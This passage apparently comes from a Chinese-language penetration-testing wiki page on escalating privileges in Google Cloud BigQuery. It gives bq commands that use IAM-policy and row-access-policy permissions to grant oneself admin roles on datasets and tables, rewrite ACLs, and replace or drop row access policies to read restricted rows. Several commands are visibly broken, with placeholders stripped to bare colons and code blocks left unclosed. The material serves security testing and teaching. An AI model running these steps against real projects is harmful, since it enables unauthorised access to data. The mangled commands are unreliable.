</details>
### `bigquery.datasets.setIamPolicy`
攻击者可以滥用此权限,**为自己授予对 BigQuery 数据集的更多权限**:
<details>
<summary>在 BigQuery 数据集上设置 IAM 策略</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
更新 BigQuery 数据集的 ACLs
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
在 BigQuery 表上设置 IAM 策略
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
根据文档,具有上述权限可以**更新行访问策略。**\
但是,**使用 CLI `bq`** 时还需要额外权限:**`bigquery.rowAccessPolicies.create`**、**`bigquery.tables.get`**。
<details>
<summary>创建或替换行访问策略</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
可以在 row policies enumeration 的输出中找到 filter ID。示例:
列出 row access policies
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
如果你有 **`bigquery.rowAccessPolicies.delete`** 而不是 `bigquery.rowAccessPolicies.update`,你也可以直接删除该策略:
<details>
<summary>删除行访问策略</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
另一个可能绕过行访问策略的选项是直接更改受限数据的值。如果你只能看到当 term 是 Cfba 时的记录,可以将表中所有记录修改为 term = "Cfba"。但这会被 bigquery 阻止。